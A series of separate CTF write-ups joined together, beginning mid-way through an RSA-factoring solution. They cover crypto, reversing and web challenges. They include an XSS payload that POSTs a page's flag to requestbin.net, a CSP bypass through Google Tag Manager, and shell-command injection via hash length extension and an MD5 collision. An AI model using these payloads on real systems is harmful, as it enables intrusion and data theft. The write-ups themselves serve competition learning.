89884656743115795386465259539451236680898848947115328636715040578866337902750481566354238661203768010560056940533704895462371521673940364332336386690967544471188052302449513285561691785549132023765001375736338282524666244446879484369365007445900774203216682737625702378439195633858734196295717787305007645059Key exp: [45, 92, 114, 168, 207, 219, 263, 310, 335, 389, 424, 440, 552, 585, 606, 657, 806]```As you can see, the top 20 exponent contains all the actual 16 exponent!
Now is the bruteforcing part!
In testing, I notice some key exponents increase by 1 compare to the actual exponents
You can see it in the previous result:```Key exp: [45, 92, 114, 168, 207, 219, 263, 310, 335, 389, 424, 440, 552, 585, 606, 657, 806]Actual exponent: [214, 253, 262, 309, 424, 552, 585, 606, 646, 657, 665, 680, 806, 808, 856, 987]```Key | Actual--- | ---310 | 309263 | 262
Maybe some of the exponents is repeated so the exponent increase 1 (2^x + 2^x = 2(2^x) = 2^(x+1))
Added another script to bruteforce it:```pyimport gmpy2from itertools import combinations import sysn = key_exp[0][0]exp = key_exp[0][2]freq = freq[:20]filtered = []for i in exp: # if exponent is in the top if i in freq: filtered.append(i) # if repeated exponent is in the top if i-1 in freq: filtered.append(i-1) if i-2 in freq: filtered.append(i-2)print(f"Filtered exponent: {filtered}")
# Loop from 1 to length of filteredfor i in range(1,len(filtered)+1): # Brute force each combination of exponent comb = combinations(filtered,i) for c in list(comb): num = 2**1023 for c_i in c: num += 2**(c_i) if n % gmpy2.next_prime(num) == 0: p = gmpy2.next_prime(num) q = n // p print("Factor found!") print(f"p = {p}") print(f"q = {q}") sys.exit()```Result:```Top 20 exponent: [132, 150, 179, 281, 289, 302, 340, 360, 387, 399, 552, 595, 607, 644, 648, 705, 717, 783, 815, 1016]Actual exponent: [150, 194, 281, 302, 340, 360, 552, 595, 607, 644, 648, 705, 717, 783, 815, 1016]Most less key: 8079251517827751825178719172167487990111025667428871008032586356881163784716972723299300352880743495698497340326301158879460499919667754393582483838921244931302683153695581330445763780377518365831641367609072389101218503605982064340020004303854739880503741321720339505556285179305619455995277574704147404062004064383999794878604729476877530388381971298814625934592369650672840240773674128382901187977968894151751752971068487912720177325942701898927812655483049407431481803330386713230039320864031063052186953767982506595774265809152440008644941788958339301931434961047334729242887355502821722366807659411875653787753Key p: 89884656743115795386465259539451236680898848947115328636715040578866337902750481566354238661203768010560056939935769677879276839530706569992114919980935353844999923671322009718437498203298385897910636081023580826815541766268314289198272648328709263102291503796984795539680905405708098202787506993849174065367Key q: 89884656743115795386465259539451236680898848947115328636715040578866337902750481566354238661203936334908906487887928390505647579662498738887212746471447559646409475734487976256381946573922130293725665783290879494630334996499463654070631336122211470845446124741910085215751020627905319541991521930494678663359Key exp: [151, 228, 302, 326, 340, 607, 644, 705]Filtered exponent: [150, 302, 340, 607, 644, 705]Factor found!p = 89884656743115795386465259539451236680898848947115328636715040578866337902750481566354238661203768010560056939935769677879276839530706569992114919980935353844999923671322009718437498203298385897910636081023580826815541766268314289198272648328709263102291503796984795539680905405708098202787506993849174065367q = 89884656743115795386465259539451236680898848947115328636715040578866337902750481566354238661203936334908906487887928390505647579662498738887212746471447559646409475734487976256381946573922130293725665783290879494630334996499463654070631336122211470845446124741910085215751020627905319541991521930494678663359```As you can see, we successfully found the factor of n!!
Now we can solve the actual challenge!
## Solving
Just using the same code as the poc:```pyfrom pwn import *import hashlibimport refrom itertools import combinations import gmpy2
p = remote("challs.xmas.htsp.ro" ,1000)p.recvuntil("= ")h = p.recvuntil("\n")[:-1]ans = pwnlib.util.iters.mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest()[-5:] == h.decode() , string.ascii_lowercase, length = 10)p.sendline(ans.encode().hex())# p.interactive()msg = []keys = []for i in range(255): p.sendlineafter("exit\n\n","1") result = p.recvuntil("e: 65537") msg.append(re.findall(b"message: ([0-9a-f]+)",result)[0]) keys.append(re.findall(b"n: ([0-9]+)",result)[0])
key_exp_msg = []freq = []for j in range(len(keys)): exp = [] for i in range(1055,2045): if (int(keys[j])>>i)&1: exp.append(i-1023) freq.append(i-1023) key_exp_msg.append([keys[j],exp,msg[j]])freq = sorted(set(freq), key=freq.count)[::-1][:20]n,exp,ciphertext = sorted(key_exp_msg, key = lambda kv: len(kv[2]))[0]print(f"Top exp = {freq}")print(f"exp = {exp}")
filtered = []for i in exp: if i in freq: filtered.append(i) if i-1 in freq: filtered.append(i-1)print(f"Filtered exp: {filtered}")
n = int(n)for i in range(1,len(filtered)+1): comb = combinations(filtered,i) for c in list(comb): num = 2**1023 for c_i in c: num += 2**(c_i) if n % gmpy2.next_prime(num) == 0: print("Factor found!") # Calculate the decryption key to # decrypt the message P = gmpy2.next_prime(num) Q = n // P phi = (P-1)*(Q-1) d = inverse(65537,phi) c = int(ciphertext,16) secret = hex(pow(c,d,n))[2:] # Send the decrypted message p.sendline('2') p.sendlineafter("got.\n",secret) p.interactive()```After sometime retrying, we got the flag!
*Note:the longer the filtered exp, the longer the bruteforce time*```python3 solve.py [+] Opening connection to challs.xmas.htsp.ro on port 1000: Done[+] MBruteforcing: Found key: "eooya"Top exp = [88, 67, 596, 530, 373, 99, 869, 210, 641, 490, 801, 70, 538, 37, 926, 965, 868, 693, 375, 152]exp = [37, 55, 63, 67, 160, 210, 335, 393, 441, 490, 538, 596, 693, 713, 771, 869, 926]Filtered exp: [37, 67, 210, 490, 538, 596, 693, 869, 868, 926]Factor found![*] Switching to interactive mode
It seems you are a genius, we can't understand how you did it, but you did.Here's your flag: X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}[*] Got EOF while reading in interactive$ ```## Flag> X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}
## Better solutionAfter the ctf ends, saw [a writeup by lanthan](https://ctftime.org/writeup/25425) shows that this challenge can be solved by finding common factors for each public key (Which more easier and efficient way) |
# game (Reversing - 400 pts - second blood)
This challenge was solved by another member in our team, but he's too lazy to create a writeup.
Here's the decrypted text if you're interested:
```danchoihephoco,1922762076,This key was used as a real world challenge for a cyber security contest (see https://www.facebook.com/isitdtu/). If you are owner of this product, please do not share or leak it, thanks a lot. ISITDTU{r34l_w0rd_1s_fUn_4nd_34sY_bUt_lu4_sUcKs}``` |
I have no time to write more specific details, so I just put my scripts here:```python#/usr/bin/env python3
input = 'aaaaabbbbbcccccdddddeeeee' # test input for encryption correctly.rand_num = [0x3748ef4e,0x75344ee3,0x66c59057,0x7650cdd6,0x48349e25,0x4341479a,0x67f6c1e0,0x61ae12fc, 0x27e31966, 0x62a67e76]encrypt_table1 = [0x0e, 0x4a, 0x79, 0x05, 0x66] # You can get this table by dynamic debugging in gdb.encrypt_table2 = [0x17,0x0E,0x2,0x15,0x0B,0x3,0x4,0x10,0x16,0x5,0x12, 0x6,0x0C,0x7,0x13,1,8,0x14,0x9,0x0A,0x0D,0x18,0,0x11,0x0F]
output = ''encry = ''for i in range(len(input)): output = output + input[encrypt_table2[i]]print (output)for j in range(len(input)): encry = encry + str(hex(ord(output[j])^encrypt_table1[j//5])[2:])
print (encry)
encry_text = [0x6B,0x6D,0x6F,0x6B,0x6D,0x2B,0x2B,0x2E,0x2F,0x28,0x1D,0x1B,0x1A,0x1B,0x1D,0x64,0x67,0x60,0x67,0x66,0x05,0x03,0x07,0x02,0x02]encry_text2 = [0x63,0x51,0x48,0x6A,0x40,0x09,0x1E,0x7A,0x7A,0x0C,0x0B,0x02,0x49,0x48,0x4D,0x43,0x71,0x6B,0x30,0x5A,0x12,0x1B,0x27,0x39,0x53]flag = ''for k in range(len(encry_text2)): print (hex(encry_text2[k]^encrypt_table1[k//5])) flag = flag + chr(encry_text2[k]^encrypt_table1[k//5])
print (flag)
rever_table = []for i in range(len(encrypt_table2)): rever_table.append(encrypt_table2.index(i))
f = ''for i in range(len(flag)): f = f + flag[rever_table[i]]
print (f)
``` |
# Fire Cannons (Misc - 456 pts - second blood)
"Spy" is not the right word for this challenge. Our team are fighting for justice, therefore "agent" must be used.
This is a simple math problem. For each firing position, we receive the distance to the target. The most efficient way to solve it is as follow:- Fire at 2 different positions: (x1, y1) and (x2, y2). Receive the distances d1, d2.- The target is at 1 of the 2 intersections of the circles (x1, y1, d1) and (x2, y2, d2). We have 50% of hitting the target in 3 shots, 50% in 4 shots.
However this requires some (a little) complicated calculations. Instead we solved it using 4 shots but simpler calculation:- Fire at (0, 0), (1, 0) and (0, 1) and receive the distances d1, d2, d3.- We now have the following system of equations:```(1) x^2 + y^2 = d1^2(2) (x - 1)^2 + y^2 = d2^2(3) x^2 + (y - 1)^2 = d3^2```- Subtract (1) to (2):```2x - 1 = d1^2 - d2^2=> x = (d1^2 - d2^2 + 1) / 2```- Subtract (1) to (3):```2y - 1 = d1^2 - d3^2=> y = (d1^2 - d3^2 + 1) / 2```
Also, notice that high floating point precision is needed in order to get the correct values. We used the `gmpy2` class with the precision of 2048 bits.
After 96 rounds we got a binary string which decodes to `VoNguyenGiap`. Send it to the server and we got the flag.
Solver code: [cannon.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/ISITDTU%20Finals/Fire%20Cannons/cannon.py). Output:
```94 b'\nFiring cannons on location: Nice! Give you something: 'b'01010110011011110100111001100111011101010111100101100101011011100100011101101001011000010111000'b'01010110011011110100111001100111011101010111100101100101011011100100011101101001011000010111000'b'1082396311390442626521827664044649316251413450093729949773077747360101285228995576782398878863718.020206632188996751475136669288825578305996378699481575534254384081692401818176184431833300486463216822054440937343'b'1082396311390442626521827664044649316251413450093729949773077747360101285228995576782398878863717.2332274352053132317611214337347012557145570652175634844720629985168486594088527014256275507020991651421160611017432'b'1082396311390442626521827664044649316251413450093729949773077747360101285228995576782398878863717.4032270996962918914834141772959202216623487051920533889257112014888227000807150632574521752782448208734316184577794'851823379956151593618294054565372585439179144547256122355120364318866460219787959663230263602877.000000000000000000017820955833829305152851726652150993054417757001863316308238553586953186577993757502170332694637084667067353576377614424775668631675138705390919865608397577500532441864768631773857037367314031526572069514910451379999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999991150819446797357951947313432274050644250922952119310749819756167988468689469771807596773133839964 667816370173503484043472915451006252638041131428215215179122020241228766485912833649018632909530.000000000000000000196872468864663152797804579141242054974619781001049448452021433597893976556933117781401305755989672935382111309464261042123406327866847064083330181316079504011608846666104340898820283518779393895811258375760292320000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007873755960969152244846236967343009707262030125559396179156497318437577931942871579619488255933841851823379956151593618294054565372585439179144547256122355120364318866460219787959663230263602877 667816370173503484043472915451006252638041131428215215179122020241228766485912833649018632909530 1082396311390442626521827664044649316251413450093729949773077747360101285228995576782398878863718.0202066321889967514751366692888255783059963786994815755342543840816924018181761844318333004864632168220544409373429894601559617979615673719871074406691116004095575684987185214675433281024066474135606123861691996452678687146976855783659606563141260322686568489725941767251955385233258149961739906253692359161173594860826503141383476920977986478259075252335127384246751488464063402236205922759512639708066703566259441941089155906960941480364585419875358396496731443562300209945972056709634340995439538227564674903283994233695 b'\nFiring cannons on location: Nice! Give you something: 'b'010101100110111101001110011001110111010101111001011001010110111001000111011010010110000101110000'b'010101100110111101001110011001110111010101111001011001010110111001000111011010010110000101110000'[*] Switching to interactive modeGive me something: CongratulationsFlag is: ISITDTU{VoNguyenGiap_has_been_called_one_of_the_greatest_military_strategists_att}[*] Got EOF while reading in interactive``` |
# Welcome (Misc - 100 pts - third blood)
We were given the following "text", and the challenge was in misc section, which told us that anything could be possible.
```x$x%s%&LH6=4~>60E_0x$x%s%&\r%u\a~a@N```
We suspected this was a crypto chall. Some observation of the text:- The pattern `x$x%s%&` appeared twice- Also, it matched the flag format `ISITDTU{}`
So it could be assumed that some kind of substitution cipher was used. We tried replacing it and figure out the rule of substitution:
```x$x%s%&LH6=4~>60E_0x$x%s%&\r%u\a~a@NISITDTU{ ISITDTU T }```
Looked like some kind of XOR/SHIFT was involved. Playing around with [CyberChef](https://gchq.github.io/CyberChef/), XOR gave us nothing, while SUB showed that some chars had been shifted by -47, some by +47:
```x$x%s%&LH6=4~>60E_0x$x%s%&\r%u\a~a@NIõIöDö÷.....O....0.IõIöDö÷-CöF-2O2..§S§T¢TU{welc.me_t._§S§T¢TU.¡T¤....o}```
From here we recovered the flag:
```ISITDTU{welcOme_t0_ISITDTU-CTF-2O2o}```
(We claimed third blood solving it this way, and only 51s slower than the first team. Later after the event ended we realized that it was just rot47) |
Hello. This is my first time write a Writeups. Thanks for reading Just post my code first.. https://github.com/phmngcthanh/CTF-solved/blob/master/2020/BSides%20Algiers%202021%20Quals/crypto/aes-ecb.md```import socket from string import *import base64host='chall.bsidesalgiers.com'port= 5002s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))### for some reason that i dont understand, i have to do 2 times recv instead of 1 time recv (4096)s.recv(1024)s.recv(1024)#sometime it will fail at some stage, just type the known flag and it will get the rest of itflag=''padding='0'payload_padding='0'BLCK_SZ=16sent=''#another time for recv :Ds.recv(1024)len_flag=69 #adjusted from string.printable , for quickerprintable_mod='{_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&()*+-?@}~'
for j in range(len(flag),len_flag): for i in printable_mod: sent=flag[-15:]+i while (len(sent)<16): sent=payload_padding+sent sent+=(padding*((16*6)-j-1)) sent=sent+'\n' #print(sent) s.sendall(sent.encode()) a=s.recv(2048) #print(a) if(len(a) <20): a=s.recv(1024) if (a[0:3]==b'The'): a=a[13:] if (a.decode().find('=>')): a=a[:-4] a=base64.b64decode(a).hex() #print(a) if (a[0:32]==a[192:224]): #print("----------------------------------------------------------------") #print('FLAG:',end="") #print(flag+i) flag+=i break print(flag) ```
flag='shellmates{I_though_AES_w4s_m1l1tary_gr4de_encryp7ion_1n_al1_m0des}' |
```from pwn import *def sort_vet(x): s = '' for i in range(len(x)): for j in range(len(x) - 2, -1, -1): if x[j] > x[j + 1]: x[j], x[j + 1] = x[j + 1], x[j] s = s + str(j) + ' ' return snc = remote('challenges.ctfd.io', 30267)nc.sendlineafter('Enter 1, 2, 3, 4, or 5.\n', '2')nc.recvline()nc.recvline()nc.recvline()nc.recvline()x = nc.recvline().decode().strip().replace(' ', '').split(',')nc.recv()nc.sendline(sort_vet(x))nc.recvline()nc.recvline()x = nc.recvline().decode().strip().replace(' ', '').split(',')print(nc.recv().decode())``````[x] Opening connection to challenges.ctfd.io on port 30267[x] Opening connection to challenges.ctfd.io on port 30267: Trying 159.203.148.124[+] Opening connection to challenges.ctfd.io on port 30267: Done???????? That's correct!! ????????nactf{d0n7_w0rry_p34_h4ppy_f27ae283dd72cb62f685}``````nactf{d0n7_w0rry_p34_h4ppy_f27ae283dd72cb62f685}``` |
# Challenge DescriptionBaby MD5Your mission is to find weird hash collision!
nc 66.172.10.203 2570
# SolutionThe challenge is split into two parts, the first is a proof-of-worth (PoW) and the second is the actual challengeBooth parts are about getting partial hash collisions and by that I mean (4-6) hex digits of the hash are the same
## PoWYou are asked to provide a printable string with a defined length that when hashed with a hash function (that is defined in the question); will have the requested 6 hex digits at the end of the hash
Example: Please submit a printable string X, such that sha1(X)[-6:] = 5f4774 and len(X) = 32
options for hash functions are SHA1, SHA224, SHA256, SHA384, SHA512, MD5 and may be others that I didn't see
### How to solve?Generating random strings(or a padded counter string) with the requested length and testing if thier hash matches the required digits is actually possible since the search space is only 6 hex digitsSomething like this in a loop could work```python new_str = ''.join(random.choice(string.ascii_letters) for _ in range(length)) # f'{counter}'.rjust(length, '0') new_hash_seg = f(new_str) # f is your hash function```
Another faster solution is to use existing rainbow tables for hash functions that are pre-computed to get a string that matches the request but we didn't end up going for this solution
You get something like this (using a counter and padding it with zeros as this turned out faster than random strings):string = 00000000000000000000000000350390hash = 1807a375245bada596041dea0851b0260d5f4774
## Actual challengeYou are asked to provide a pair of strings that will result True in a given function (babymd5) which just checks the two strings to make sure they meet certain conditions.The conditions are that they have a pre-defined prefixes (one of them is the word 'dead'), and also that after repeatedly hashing them using MD5 they will provide the same hash
```pythondef babymd5(m, n, x_head, y_head, x, y): if x.startswith(x_head) and y.startswith(y_head): for _ in range(m): xhash = md5(x.encode('utf-8')).hexdigest() x = xhash for _ in range(n): yhash = md5(y.encode('utf-8')).hexdigest() y = yhash if xhash == yhash: return Truereturn False```Where you are given m, n, x_head and y_head = 'dead' and you are asked to produce x and yExample: (m, n, x_head, y_head) = (195, 5, 'HLX', 'dead')
### How to solve? (We actually didn't solve this part during the competition)The solution depends on the fact that the word 'dead' is a valid start of a hex digest and m > n, and since the babymd5 function repetadly performs the hash on x;then all what we need is a string x that starts with the given x_head and that hashes to a hash that starts with the digits 'dead' after the right amount of times and then we use the resulting hash as our string y
Something like this in a loop will work:
```python possible_x = x_head + ''.join(random.choice(string.ascii_letters) for _ in range(length)) # f'{x_head}{counter}'.ljust(length, '0') x_hash = possible_x for _ in range(m-n): x_hash = md5(x_hash.encode('utf-8')).hexdigest() if x_hash.startswith('dead') y = x_hash x = possible_x break```the length should be a valid length for md5 hash for the y string, but isn't restricted for the x string but a good strategy since it isn't restricted is to just use the same length
You actually need to be lucky for the PoW since the server can disconnect and you will need to start over(or you can get a slow hashing function like sha512), but for the actual challenge you can hold the connection by periodically asking for the conditions
x = HLX52570000000000000000000000000 , y = dead8ff641a3d0853e9753ca3f98fb55
Flag: ASIS{MD5_c0L1iD!N9_iZ_4pProX1mA73lY_1.47*10^-29}
For a sample of the actual exploit code: check the original writeup |
The `uploadImage` endpoint does not have a whitelist for mimetypes, allowing uploads of arbitrary files. First, we uploaded the following js file:
```javascriptwindow.onload = function () { fetch('http://requestbin.net/r/xxx', { method: 'POST', body: flag.contentDocument.body.innerHTML, })}```
This will post the content of an iframe with id `flag` to a requestbin. Now, we just have to upload the following html file:
```htm<iframe id="flag" src="/s/the-flag"></iframe><script src="%SRC%"></script>```where `%SRC%` is replaced with the location the js file got uploaded to. This will first load the flag in the iframe, and then use the previously uploaded js to leak it.
Now just post the upload link of the html file to the admin, and you'll get the flag in your requestbin. |
# Secure Program Config - hxp CTF 2020
Solved by [Kaiziron](https://twitter.com/Kaiziron) - Team : Black Bauhinia Solved on 2020-12-19 14:19 (Time in HK)
```Difficulty estimate: easy
Points: round(1000 · min(1, 10 / (9 + [85 solves]))) = 106 points```
---
## Description```Due to corona, I’m in home office and yesterday, I (while not being completely sober) played around with some alarm systems of the clients and … apparently … changed my engineer password since I cannot access anything anymore … my boss has called this morning and threatened to fire me if I don’t fix that ASAP … I have not the slightest idea what my password could be or how I can get it back … can you please help me recover it???!! I have to fix that mess somehow …
I removed the clients’ data to not get into even more trouble …
Before I forget: Download SPC Connect Pro and start it pointing to the folder SPC Products. (The software will ask you which directory it should use)
Our company login to the software is admin/admin. Luckily, I did not change that …
Oh no … my boss is calling again … we talk later … good luck.```
Configuration files are given : [Secure Program Config-f0a3e4f922071458.tar.xz (716 Bytes)](https://2020.ctf.link/assets/files/Secure%20Program%20Config-f0a3e4f922071458.tar.xz)
---
## SolutionThere are 2 xml files in the given tar archive, Panels.xml and Users.xml.
### Panels.xml```xml<LOCAL_PANELS><LOCAL_PANEL PANEL_ID="1" NAME="A" ADDRESS="" PANEL_TYPE="0" FIRMWARE_VERSION="3.8.5" SERIAL_NUMBER="0" COMMS_PATH="1" IP_ADDRESS="192.168.1.100" TCP_PORT="50000" SERIAL_PORT_NAME="COM1" PHONE_NUMBER="0" BAUD_RATE="57600" AUTO_LOGIN_ENABLE="1" ENGINEER_USERNAME="Engineer" ENGINEER_ENCPASS="a+otqmLSU92rzNnOXGwaCehJjoX8FIlazg+TCelmsEryWnRfLLyXEsqs9mu4dQqJ" /></LOCAL_PANELS>```
### Users.xml```xml<USERS><USER USERNAME="admin" PASSWORD_HASH="0x45B26F886EE4299B5DBEBFB852B06718B5EEF1F2" FIRST_NAME="admin" LAST_NAME="" LANGUAGE="0" /></USERS>```
The password of engineer is encrypted and stored in Panels.xml, we need to install SPC Connect Pro and point it to the folder SPC Products according to the description.
After SPC Connect Pro is installed, the credentials to login is admin/admin according to the description.
After logging it, we can see that the password of the Engineer is decrypted but hidden from us and we are unable to copy or view it.

I discovered that the executable is in .NET and can be decompiled with dnSpy easily.

The username is showing in plaintext and password is hidden, so I make some changes to the line.
The textbox showing the username originally is modified to show the password in plaintext.
```c#list.Add(new HtmlTemplateKvp("%%-ENGINEER_USERNAME-%%", panel.EngineerPassword));```
Compile it and save the changes to the executable.
Finally, run the SPC Connect Pro again and login, we will see the password (which is the flag) will be shown in the username textbox.

---
## Flag```hxp{4t_least_it_was_n0t_pla1ntext}``` |
Hackme: Web hard - hxpctf 2020===This year I played hxp ctf w/ [mHACKeroni](https://mhackeroni.it)## The challengeThe challenge is a [CodiMD](https://github.com/hackmdio/codimd) docker with report uri.In the challenge, a note called "the-flag" exists and it contents, obv, the fl4g. This challenge is very very intresting, I loved it but the Dockerfile is really B1GG, with my orrible network it took ~15 minutes for build ahahah. (Solves: 15/1177, Fixed by CodiMD Team after issue [#1630](https://github.com/hackmdio/codimd/issues/1630))## The bugThis challenge, obviously, has an XSS vuln mlmlmlml!\Oh sh1t there is a CSP. I took a couple of minutes to analyze it```Content-Security-Policy: default-src 'self';script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://disqus.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com 'nonce-90dfe8a7-eaa5-41a5-a9f2-7d36a6db7ce3' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM=';img-src * data:;style-src 'self' 'unsafe-inline' https://github.githubassets.com https://*.disquscdn.com;font-src 'self' data: https://public.slidesharecdn.com https://*.disquscdn.com;object-src *;media-src *;child-src *;connect-src *``` Eureka: `https://www.google-analytics.com` is enable.\But first I need a method to include some script from google analytics :(\With some osint I find a stored xss bug in [mermeid graph]( https://github.com/mermaid-js/mermaid/issues/869). ## IT'S TIME TO EXPLOITWith google analytics there is a service called "Google Tag Manager". With it I can create cusotm tag and custom javascript code.
First of all I write an XSS payload and create a variable in Google Tag Manager with this paylod.

Secondly I create a custom Google Universal Analytics Tag ang Google Analytics Settigs that took the custom variable and do something at the page load event


Finally I write a new note that trigger the xss bug:``````mermaidgraph TDB --> C{<script src=https://www.google-analytics.com/gtm/js?id=GTM-MLQBR25 ></script>}```
And I report my note.
The flag: `hxp{Yo dawg, I heard you like XSS, so I put some DOM injection in your script injection so you can inject scripts while you inject HTML while you inject scripts! Any questions?}`.
Thanks a lot to orgs for the idea and for the other challenges. |
# nanothorpe
## Description of challengeWelcome back to ls-as-a-service, the most useful tool on the internet!
Download:[nanothorpe-d2095dcfeda4b08d.tar.xz ](https://2020.ctf.link/assets/files/nanothorpe-d2095dcfeda4b08d.tar.xz)(13.3 KiB)
Connection (mirrors):[http://157.90.22.14:8832/](http://157.90.22.14:8832/)
The UI makes a GET request to the backend at the endpoint '/api/authorize' with the parameter 'cmd' (url encoded) ; where the API checks the parameter and confirms that the command is 'ls' and not blank or anything else and then it creates a cookie with an expiration data parameter that acts as a signature to another endpoint '/api/run' which perform the execution of the command after it verifies the validity of the request signature and expiration time and returns the results of the execution in base64.
The signature is created using a hashing function made for this challenge specifically called 'octothorpe' with its custom padding and it does the signing by appending a secret data before the parameters the user sends.
## SolutionThere are three problems with this implementation, the first is that the confirmation of the content of the command is done separatly from the execution of the command which suggests that if you can bypass the signature check you can trick the execution endpoint to execute random commands for you. The second is that the hashing function 'octothorpe' is (spoiler alert) vulnerable to length extension attacks. The third is that if you send multiple 'cmd' parameters the server takes the last one.
### Length extension attackTo confirm that the hashing function is vulnerable to the length extension attack, you try hashing some data and using it as the state for the next attempt of hashing and if that predicts the resulting hash of appending data to the original data.
```pythonfrom octothorpe import octothorpe
secret = b'very secret data' # sampledecoded = b'expiry=1608460998&cmd=ls' # original data
secret_length = len(secret)actual_length = secret_length + len(decoded)
# Predicting paddingpadding = b'\x80' + b'\x00' * ((octothorpe.block_size - 9 - actual_length) % octothorpe.block_size) + (8 * actual_length).to_bytes(8, 'little')
# Appended datab = b'; ls -ltr'
n = actual_length + len(padding)ha = octothorpe(secret + decoded).hexdigest() # the signature
hb = octothorpe(b, _length=n, _state=bytearray.fromhex(ha)).hexdigest() # Your prediction of the hash
h = octothorpe(secret + decoded + padding + b).hexdigest() # The target hash
if hb == h: print('Bingo')```
Executing this code confirms that the hashing function is vulnerable to length extension attacks
### ExploitThe exploit works as follows, hit the first end point with the right parameters that it expects and receicve the signature and then manufacture another request instead of the redirected one that contains the padding and an additional 'cmd' parameter that prints the flag for you and of course predict the signature for this new request using the length extension attack.
For the prediction to work you will need to do the attack multiple times with different secret length parameters until you get it rightby trail and error(there is a limit on the server for the number of calls so you might need to do the trails slowly) the secret length is: 32 (this should be easily guessed)
Doing the exploit as mentioned above returns the flag if the command is 'cat /flag*' hxp{merkle-damgard, ha! you fell victim to one of the classic blunders!}
For the actual exploit check the original write-up |
# Magic Dude5 (Cryptography - 323 pts - first blood)
### Another first blood victory for STeam!
[The server code](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/ISITDTU%20Finals/Magic%20Dude5/server.py) is quite simple:- You have to provide 2 different commands in hex format- The commands must have the same md5 hash- The first command must contain the string 'DTU', n bytes before 'DTU' must be the same as the last n bytes- If all conditions are met, those n bytes will be used as the command to be executed- To make things a bit more complicated, the commands are zero-padded to make their lengths multiples of 64 (even when the lengths are already multiples of 64 :angry:)
This mean we have to create an md5 collision. The ultimate guide for md5 collision is here: [https://github.com/corkami/collisions](https://github.com/corkami/collisions). The page describes various collision attacks, also there's one more important piece of information you cannot miss in order to solve this challenge:
> MD5 and SHA1 work with blocks of 64 bytes.> > If two contents A & B have the same hash, then appending the same contents C to both will keep the same hash.> ``` text> hash(A) = hash(B) -> hash(A + C) = hash(B + C)> ```
Now we have all we need to create the md5 collision that passes all the conditions:- For each command, we append `0;` before it (to bypass the weird padding stuff)- Use [FastColl](https://www.win.tue.nl/hashclash/) to create 2 strings with the same hash- We append each string with the block of 64 bytes, with the command as the suffix- Send the 2 strings to the server (without the first `0`, the server will )- Profit!!!
Example:
- Command: `0;ls . DTU # ` (the `.` and `#` are actually not needed)- After FastColl:```msg1:30 3B 6C 73 20 2E 20 44 54 55 20 23 20 00 00 00 0;ls . DTU # ...00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................6A 88 7D 53 18 40 D8 03 76 32 FD 71 AB ED 2B C5 jˆ}S.@Ø.v2ýq«í+Å12 CF 8A 54 F2 15 26 C0 3F E2 76 09 A9 2D 26 8D .ÏŠTò.&À?âv.©-&.0E B1 0C C0 80 A7 C1 9F 0B 08 56 44 EB 77 48 60 .±.À€§ÁŸ..VDëwH`44 56 39 55 28 E6 3D 5B 2D F3 B4 95 BF A5 9B F5 DV9U(æ=[-ó´•¿¥›õ7A 15 F9 2C 78 86 6B 00 C0 09 4A 3D 56 70 50 24 z.ù,x†k.À.J=VpP$F1 36 D6 61 4B 7B 35 EB 7E 59 E0 57 5B 9C 6B C1 ñ6ÖaK{5ë~YàW[œkÁDD 04 C9 EE 06 F2 82 BF 1A 97 EB 50 B3 5C D0 0A Ý.Éî.ò‚¿.—ëP³\Ð.14 A5 88 6B 0F 28 8A 48 28 D3 FC 40 7B C2 2A 30 .¥ˆk.(ŠH(Óü@{Â*0
msg2:30 3B 6C 73 20 2E 20 44 54 55 20 23 20 00 00 00 0;ls . DTU # ...00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................6A 88 7D 53 18 40 D8 03 76 32 FD 71 AB ED 2B C5 jˆ}S.@Ø.v2ýq«í+Å12 CF 8A D4 F2 15 26 C0 3F E2 76 09 A9 2D 26 8D .ÏŠÔò.&À?âv.©-&.0E B1 0C C0 80 A7 C1 9F 0B 08 56 44 EB F7 48 60 .±.À€§ÁŸ..VDë÷H`44 56 39 55 28 E6 3D 5B 2D F3 B4 15 BF A5 9B F5 DV9U(æ=[-ó´.¿¥›õ7A 15 F9 2C 78 86 6B 00 C0 09 4A 3D 56 70 50 24 z.ù,x†k.À.J=VpP$F1 36 D6 E1 4B 7B 35 EB 7E 59 E0 57 5B 9C 6B C1 ñ6ÖáK{5ë~YàW[œkÁDD 04 C9 EE 06 F2 82 BF 1A 97 EB 50 B3 DC CF 0A Ý.Éî.ò‚¿.—ëP³ÜÏ.14 A5 88 6B 0F 28 8A 48 28 D3 FC C0 7B C2 2A 30 .¥ˆk.(ŠH(ÓüÀ{Â*0
